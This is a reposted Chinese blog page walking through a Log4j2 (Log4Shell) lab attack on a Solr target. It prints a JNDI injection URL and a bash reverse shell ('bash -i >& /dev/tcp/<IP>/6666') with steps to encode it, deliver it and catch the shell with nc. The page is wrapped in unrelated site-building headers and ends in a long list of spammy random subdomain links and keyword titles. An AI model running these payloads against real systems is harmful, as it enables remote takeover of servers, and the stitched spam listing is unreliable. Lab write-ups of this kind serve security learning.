当前位置: 首页 > wzjs >正文

建站公司还有前途吗在电脑上建设网站

建站公司还有前途吗,在电脑上建设网站,兰州企业网站建设多少钱,中国芗城区城乡建设局网站log4j2 是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末 log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。 apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版…
log4j2 是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末 log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。 apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失

我们用云服务器执行命令,启动容器,开启靶场环境

 显示done就是启动成功

进入靶场

 

输入命令,利用dnslog来测试靶场,监视注入结果

 

 

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://116.62.119.171:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.(dns获取的域名) }

如果存在log4j2漏洞,我们将在DNSLog平台看到回显,返回刚才的DNSLog平台,点击刷新记录Refresh Record

我们先编写恶意文件,将shell反弹到云服务器的6666端口上

因此对应的bash命令为

bash -i >& /dev/tcp/116.62.119.171/6666 0>&1

然后对上述命令进行base64编码

有了编码结果,我们就可以编写恶意文件 

 

 将得到的恶意文件拿到之前的网站进行注入

重新打开一个终端,开启nc监听6666端口

 反弹到shell,我们可以输入windows命令测试

原先的终端窗口也有消息


文章转载自:

http://eC6Acfn4.kcwzq.cn
http://NXzdCdKY.kcwzq.cn
http://rtblbqER.kcwzq.cn
http://8jTVcIoB.kcwzq.cn
http://0ThkyA3h.kcwzq.cn
http://0xarYUPi.kcwzq.cn
http://lsKf04M8.kcwzq.cn
http://95P2x5Rf.kcwzq.cn
http://61MW9DB6.kcwzq.cn
http://eB29ttYp.kcwzq.cn
http://Jt7Onjt6.kcwzq.cn
http://eP3OJmkN.kcwzq.cn
http://vYchXPl5.kcwzq.cn
http://atXJ5ceh.kcwzq.cn
http://xfjeNqVP.kcwzq.cn
http://uJ42wW0S.kcwzq.cn
http://jVm6eSit.kcwzq.cn
http://8XWeed8a.kcwzq.cn
http://rCnLiy4b.kcwzq.cn
http://3anFHwZF.kcwzq.cn
http://WUPenzZK.kcwzq.cn
http://g7Y0EpD4.kcwzq.cn
http://s0RhoR9E.kcwzq.cn
http://mjpv1ljq.kcwzq.cn
http://LikJCBEP.kcwzq.cn
http://bvt6C8dG.kcwzq.cn
http://z1AUf7Al.kcwzq.cn
http://SVoPUrtN.kcwzq.cn
http://Q1wM0rAd.kcwzq.cn
http://70BDPynH.kcwzq.cn
http://www.dtcms.com/wzjs/660458.html

相关文章:

  • 新的网站的建设步骤电商平台怎么加入
  • 1元涨1000粉丝网站动感地带套餐
  • 福建有没有网站做一件代发安装wordpress 建立数据库连接时出错
  • 网站设计 html5网站关键词连接符
  • 手车做网课网站多少数字短链接生成
  • 大航母网站建设流程企业名录搜索软件免费
  • 国外建站工具番禺网站建设找哪家
  • 中国住房和城乡建设厅网站精通网站建设 全能建站密码pdf
  • 手机端网站开发建设内容广州网络营销服务公司
  • 与做机器人有关的网站网站开发服务税收编码
  • 网站开发软件开发流程图做自己的卡盟网站
  • jsp网站开发的mvc广州有哪些大公司
  • 对电子商务网站建设与管理的理解整合营销
  • 南昌做网站需要多少钱广州住房与建设 网站
  • win10建设网站wordpress商店主题
  • 上海做网站的公司名称织梦小学网站模板
  • 武安 制作网站哪里买到纯净网站模板
  • 自己创建网站赚钱免费crm管理系统软件
  • 建设网站计划 ppt网站界面修改
  • 公司网站制作模板大网站建设
  • 网站找人做备案的价格苏州有哪些网站制作公司
  • 苏州网站设计师招聘信息免费商用图片的网站
  • 简约大气网站如何编写网站建设
  • 台式电脑做网站服务器网站怎么做精准引流
  • 沈阳建设工程信息网官网新网站家居网站建设如何
  • 如何做的mmd下载网站网站文件夹结构
  • 转转怎么做钓鱼网站郑州seo服务
  • 杭州高端网站建设到蓝韵网络工控界面设计
  • 各大网站的域名是什么原因建设银行官网招聘网站
  • 老域名新网站网站权重怎么看